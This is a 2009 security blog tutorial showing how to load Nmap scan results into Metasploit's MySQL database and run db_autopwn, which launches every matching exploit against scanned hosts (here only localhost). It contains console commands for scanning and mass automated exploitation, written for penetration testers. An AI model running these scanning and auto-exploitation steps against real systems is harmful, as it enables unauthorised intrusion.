Using Nmap results in Metasploit

* with db_autopwn*

Ivan Bütler – September 8th, 2009

Using NMAP results in Metasploit

After writing my tutorial about importing nmap xml results into Nessus, some readers pointed out writing some similar tutorial about re-using nmap results in the Metasploit framework.

Metasploit 3.X comes with built-in database and nmap support. This small tutorial shows how to attach your mysql database to the metasploit framework, how to import nmap xml output and describes basic steps using the auto-exploit functionality autopwn (db_autopwn).

Load MySQL Driver

Before you start, you should update your metasploit framework (svn update) and load the mysql driver within the metasploit console.

```
[root@tycoon framework-3.2]# ./msfconsole

                 o                       8         o   o
                 8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


       =[ msf v3.2-release
+ -- --=[ 321 exploits - 217 payloads
+ -- --=[ 20 encoders - 6 nops
       =[ 99 aux

msf > load db_mysql
[*] Successfully loaded plugin: db_mysql
msf >
```

PS: See Appendix A for a list of supported db commands.

Create Result Table & Connect to MySQL

Create the mysql database for your metasploit results and the structure to load your nmap xml results.

```
msf > db_create root:mypassword@localhost/myscan
[*] Database creation complete (check for errors)
msf > db_connect root:mypassword@localhost/myscan
```

The above commands create a new tables "myscan" and let metasploit using it.

Load Nmap XML into Metasploit MySQL database

The next command loads your nmap xml files directly into your newly created database "myscan"

```
msf > db_import_nmap_xml /opt/data/nmap/compass-security/compass-scan.xml
```

Call Nmap from Metasploit Console and load results into MySQL

Instead of importing nmap xml results into metasploit, direct calling nmap is supported too.

```
msf > db_nmap localhost -O --reason
[*] exec: "/usr/bin/nmap" "localhost" "-O" "--reason" "-oX" "/tmp/dbnmap.3889.3"
NMAP:
NMAP: Starting Nmap 5.00 ( http://nmap.org ) at 2009-09-08 11:31 CEST
NMAP: Interesting ports on tycoon (127.0.0.1):
NMAP: Not shown: 998 closed ports
NMAP: Reason: 998 resets
NMAP: PORT     STATE SERVICE        REASON
NMAP: 902/tcp  open  iss-realsecure syn-ack
NMAP: 3306/tcp open  mysql          syn-ack
NMAP: Device type: general purpose
NMAP: Running: Linux 2.6.X
NMAP: OS details: Linux 2.6.15 - 2.6.27
NMAP: Network Distance: 0 hops
```

List of Hosts

Use the db_hosts command to identify scanned hosts.

```
msf > db_hosts
[*] Time: Tue Sep 08 11:30:57 +0200 2009 Host: 127.0.0.1 Status: alive OS:
```

List of Services

Use the db_services command to list identified services.

```
msf > db_services
[*] Time: Tue Sep 08 11:30:57 +0200 2009 Service: host=127.0.0.1 port=902 proto=tcp state=up name=iss-realsecure
[*] Time: Tue Sep 08 11:30:57 +0200 2009 Service: host=127.0.0.1 port=3306 proto=tcp state=up name=mysql
```

Automated Exploitation

Use db_autopwn –p –e for automatic exploitation

```
msf > db_autopwn -p -e
[*] (1/510): Launching exploit/windows/http/savant_31_overflow against 127.0.0.1:80...

[-] Exploit failed: No encoders encoded the buffer successfully.
[*] (3/510): Launching exploit/unix/webapp/barracuda_img_exec against 127.0.0.1:80...
```

Thank You

Thank you for reading this tutorial. Feedback is as welcomed. More readings can be found on

http://www.hacking-lab.com/download/

Regards

E1 - ivan.buetler@csnc.ch
Compass Security AG

Appendix A

List of Metasploit Commands with Database Backend

```
msf > help

Database Backend Commands
=========================

    Command                Description
    -------                -----------
    db_add_host            Add one or more hosts to the database
    db_add_note            Add a note to host
    db_add_port            Add a port to host
    db_autopwn             Automatically exploit everything
    db_hosts               List all hosts in the database
    db_import_nessus_nbe   Import a Nessus scan result file (NBE)
    db_import_nmap_xml     Import a Nmap scan results file (-oX)
    db_nmap                Executes nmap and records the output automatically
    db_notes               List all notes in the database
    db_services            List all services in the database
    db_vulns               List all vulnerabilities in the database


MySQL Database Commands
=======================

    Command         Description
    -------         -----------
    db_connect      Connect to an existing database ( user:pass@host:port/db )
    db_create       Create a brand new database ( user:pass@host:port/db )
    db_destroy      Drop an existing database ( user:pass@host:port/db )
    db_disconnect   Disconnect from the current database instance


Core Commands
=============

    Command        Description
    -------        -----------
    ?              Help menu
    back           Move back from the current context
    banner         Display an awesome metasploit banner
    cd             Change the current working directory
    exit           Exit the console
    help           Help menu
    info           Displays information about one or more module
    irb            Drop into irb scripting mode
    jobs           Displays and manages jobs
    load           Load a framework plugin
    loadpath       Searches for and loads modules from a path
    quit           Exit the console
    resource       Run the commands stored in a file
    route          Route traffic through a session
    save           Saves the active datastores
    search         Searches module names and descriptions
    sessions       Dump session listings and display information about sessions
    set            Sets a variable to a value
    setg          Sets a global variable to a value
    show          Displays modules of a given type, or all modules
    sleep         Do nothing for the specified number of seconds
    unload        Unload a framework plugin
    unset         Unsets one or more variables
    unsetg        Unsets one or more global variables
    use           Selects a module by name
    version       Show the console library version number
```